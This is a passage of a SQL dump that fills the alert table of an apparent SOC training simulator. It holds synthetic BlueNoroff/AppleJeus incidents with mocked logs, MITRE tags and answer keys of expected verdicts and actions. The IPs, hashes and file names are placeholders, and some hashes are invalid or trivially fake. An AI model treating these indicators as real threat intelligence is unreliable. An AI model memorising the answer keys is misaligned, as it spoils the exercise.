activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.859Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-00342\\\",\\\"source_ip\\\":\\\"10.1.2.34\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"defense_contract_2023.pdf\\\",\\\"hash\\\":\\\"3d2e479f4b2c3d1ea8f1f2d8a3e2b7d9\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltrate\\\",\\\"status\\\":\\\"blocked\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.859Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-00342\\\",\\\"source_ip\\\":\\\"10.1.2.34\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"defense_contract_2023.pdf\\\",\\\"hash\\\":\\\"3d2e479f4b2c3d1ea8f1f2d8a3e2b7d9\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltrate\\\",\\\"status\\\":\\\"blocked\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.859Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-00342\\\",\\\"source_ip\\\":\\\"10.1.2.34\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"defense_contract_2023.pdf\\\",\\\"hash\\\":\\\"3d2e479f4b2c3d1ea8f1f2d8a3e2b7d9\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltrate\\\",\\\"status\\\":\\\"blocked\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.859Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-00342\\\",\\\"source_ip\\\":\\\"10.1.2.34\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"defense_contract_2023.pdf\\\",\\\"hash\\\":\\\"3d2e479f4b2c3d1ea8f1f2d8a3e2b7d9\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltrate\\\",\\\"status\\\":\\\"blocked\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.859Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:45Z\\\",\\\"alert_id\\\":\\\"DLP-EXFIL-00342\\\",\\\"source_ip\\\":\\\"10.1.2.34\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"filename\\\":\\\"defense_contract_2023.pdf\\\",\\\"hash\\\":\\\"3d2e479f4b2c3d1ea8f1f2d8a3e2b7d9\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"exfiltrate\\\",\\\"status\\\":\\\"blocked\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1356, 'Suspicious Access Attempt Detected', 'medium', 'Network IDS Logs', 'A suspicious access attempt was detected as BlueNoroff initiated a campaign by exploiting vulnerabilities in the target\'s web application. The objective was to gain unauthorized access to the cryptocurrency startup\'s network.', 'Initial Access', 'T1190: Exploit Public-Facing Application', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:12:07Z\",\"src_ip\":\"203.0.113.45\",\"dest_ip\":\"192.168.1.100\",\"src_port\":443,\"dest_port\":80,\"protocol\":\"HTTP\",\"alert\":\"Potential Exploit Detected\",\"signature_id\":\"2000011\",\"signature\":\"WEB-APP Remote Code Execution Vulnerability\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\",\"uri\":\"/vulnerable_endpoint\",\"method\":\"POST\"}', '2026-03-01 23:02:16', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of target network\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware used by BlueNoroff\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1357, 'Execution of Malicious Payload', 'high', 'Endpoint Security Logs', 'An endpoint has executed a payload associated with the AppleJeus malware, disguised as a cryptocurrency application. This execution could lead to unauthorized access and data exfiltration.', 'Execution', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:31Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.23\",\"username\":\"jdoe\",\"process_name\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\CryptoTrader.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"event_description\":\"Process execution detected\",\"command_line\":\"\\\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\CryptoTrader.exe\\\" -silent\",\"malware_family\":\"AppleJeus\",\"severity\":\"High\"}', '2026-03-01 23:02:16', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local host in corporate network\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\CryptoTrader.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Executable associated with AppleJeus malware\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash matched AppleJeus malware sample\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.863Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:31Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_description\\\":\\\"Process execution detected\\\",\\\"command_line\\\":\\\"\\\\\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\\\\\" -silent\\\",\\\"malware_family\\\":\\\"AppleJeus\\\",\\\"severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.863Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:31Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_description\\\":\\\"Process execution detected\\\",\\\"command_line\\\":\\\"\\\\\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\\\\\" -silent\\\",\\\"malware_family\\\":\\\"AppleJeus\\\",\\\"severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.863Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:31Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_description\\\":\\\"Process execution detected\\\",\\\"command_line\\\":\\\"\\\\\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\\\\\" -silent\\\",\\\"malware_family\\\":\\\"AppleJeus\\\",\\\"severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.863Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:31Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_description\\\":\\\"Process execution detected\\\",\\\"command_line\\\":\\\"\\\\\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\\\\\" -silent\\\",\\\"malware_family\\\":\\\"AppleJeus\\\",\\\"severity\\\":\\\"High\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.863Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:22:31Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.23\\\",\\\"username\\\":\\\"jdoe\\\",\\\"process_name\\\":\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"event_description\\\":\\\"Process execution detected\\\",\\\"command_line\\\":\\\"\\\\\\\"C:\\\\\\\\Users\\\\\\\\jdoe\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\CryptoTrader.exe\\\\\\\" -silent\\\",\\\"malware_family\\\":\\\"AppleJeus\\\",\\\"severity\\\":\\\"High\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1358, 'Establishing Persistence Mechanism', 'high', 'System Registry Logs', 'Using AppleJeus, BlueNoroff modifies system startup configurations in the registry to maintain persistent access even after system reboots.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:22:03Z\",\"registry_path\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"action\":\"modify\",\"username\":\"compromised_user\",\"filename\":\"applejeus.exe\",\"file_hash\":\"9f2b3c8d4a5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s\",\"internal_ip\":\"192.168.1.100\",\"external_ip\":\"203.0.113.45\",\"malware_name\":\"AppleJeus\",\"attacker_group\":\"BlueNoroff\"}', '2026-03-01 23:02:16', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP used by BlueNoroff group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"9f2b3c8d4a5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_analysis\",\"verdict\":\"malicious\",\"details\":\"Malware hash associated with AppleJeus.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"applejeus.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Executable used by AppleJeus malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_logs\",\"verdict\":\"suspicious\",\"details\":\"User account exhibiting unusual activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.866Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:03Z\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"modify\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"applejeus.exe\\\",\\\"file_hash\\\":\\\"9f2b3c8d4a5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"AppleJeus\\\",\\\"attacker_group\\\":\\\"BlueNoroff\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.866Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:03Z\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"modify\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"applejeus.exe\\\",\\\"file_hash\\\":\\\"9f2b3c8d4a5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"AppleJeus\\\",\\\"attacker_group\\\":\\\"BlueNoroff\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.866Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:03Z\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"modify\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"applejeus.exe\\\",\\\"file_hash\\\":\\\"9f2b3c8d4a5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"AppleJeus\\\",\\\"attacker_group\\\":\\\"BlueNoroff\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.866Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:03Z\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"modify\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"applejeus.exe\\\",\\\"file_hash\\\":\\\"9f2b3c8d4a5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"AppleJeus\\\",\\\"attacker_group\\\":\\\"BlueNoroff\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.866Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:22:03Z\\\",\\\"registry_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"action\\\":\\\"modify\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"filename\\\":\\\"applejeus.exe\\\",\\\"file_hash\\\":\\\"9f2b3c8d4a5e6f7g8h9i0j1k2l3m4n5o6p7q8r9s\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"malware_name\\\":\\\"AppleJeus\\\",\\\"attacker_group\\\":\\\"BlueNoroff\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1359, 'Lateral Movement Detected', 'high', 'Internal Network Traffic Analysis', 'The attackers leverage stolen credentials to move laterally across the network, seeking to compromise additional hosts and expand their control. Anomalous internal traffic patterns and unauthorized access attempts have been detected.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"4624\",\"source_ip\":\"192.168.1.105\",\"destination_ip\":\"10.0.0.23\",\"username\":\"jdoe\",\"event_type\":\"logon\",\"authentication_package\":\"NTLM\",\"logon_type\":\"3\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\svchost.exe\",\"file_hash\":\"3e7a3f4fbe5e4a1b9f9b6d8f4b1d5e9c\",\"external_ip\":\"203.0.113.45\",\"details\":\"Suspicious lateral movement detected with compromised credentials using NTLM authentication.\"}', '2026-03-01 23:02:16', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal database\",\"verdict\":\"internal\",\"details\":\"Known internal IP associated with the compromised user account.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal database\",\"verdict\":\"internal\",\"details\":\"Internal server targeted for compromise.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal database\",\"verdict\":\"suspicious\",\"details\":\"User credentials were used in an unauthorized manner.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"IP associated with known threat actor infrastructure.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3e7a3f4fbe5e4a1b9f9b6d8f4b1d5e9c\",\"is_critical\":true,\"osint_result\":{\"source\":\"file reputation service\",\"verdict\":\"malicious\",\"details\":\"Hash matches a known malware sample used for lateral movement.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1360, 'Data Exfiltration in Progress', 'high', 'Outbound Network Traffic Monitoring', 'In the final stage of their operation, BlueNoroff initiates the exfiltration of sensitive cryptocurrency-related data, aiming to transmit it to their external command and control servers.', 'Exfiltration', 'T1041: Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"src_ip\":\"10.0.2.15\",\"dest_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"src_port\":\"44321\",\"dest_port\":\"443\",\"username\":\"jdoe\",\"exfiltrated_file\":\"crypto_wallets.dat\",\"file_hash\":\"2c1743a391305fbf367df8e4f069f9f9f6a1c3f4\",\"malware_family\":\"BlueNoroff\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-03-01 23:02:16', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known command and control server used by BlueNoroff.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"crypto_wallets.dat\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"File containing sensitive cryptocurrency data.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"2c1743a391305fbf367df8e4f069f9f9f6a1c3f4\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash linked to BlueNoroff malware activity.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1361, 'Initial Access via Trojanized Trading App', 'high', 'Endpoint Detection and Response (EDR)', 'A cryptocurrency trading application, \'TradePlusPro\', has been identified as being trojanized with malware attributed to the Lazarus Group. Affected systems are at risk of further exploitation. The application was downloaded from an unofficial source, leading to the initial compromise.', 'Malware Installation', 'T1203 Exploitation for Client Execution', 1, 'Closed', 178, '{\"timestamp\":\"2023-10-12T10:32:45Z\",\"event_id\":\"4625\",\"system\":{\"os\":\"Windows 10\",\"hostname\":\"DESKTOP-9LJK23A\",\"internal_ip\":\"192.168.1.45\"},\"user\":{\"username\":\"jdoe\",\"user_id\":\"S-1-5-21-3141592653-589793238-462643383-1001\"},\"file\":{\"name\":\"TradePlusPro_Setup.exe\",\"path\":\"C:\\\\Users\\\\jdoe\\\\Downloads\\\\TradePlusPro_Setup.exe\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\"},\"network\":{\"remote_ip\":\"203.0.113.45\",\"port\":\"443\",\"protocol\":\"HTTPS\"},\"malware\":{\"name\":\"Lazarus_Trojan\",\"description\":\"Trojanized trading application used to gain initial access to cryptocurrency traders\' systems.\"}}', '2026-03-01 23:02:30', '2026-03-03 08:42:53', 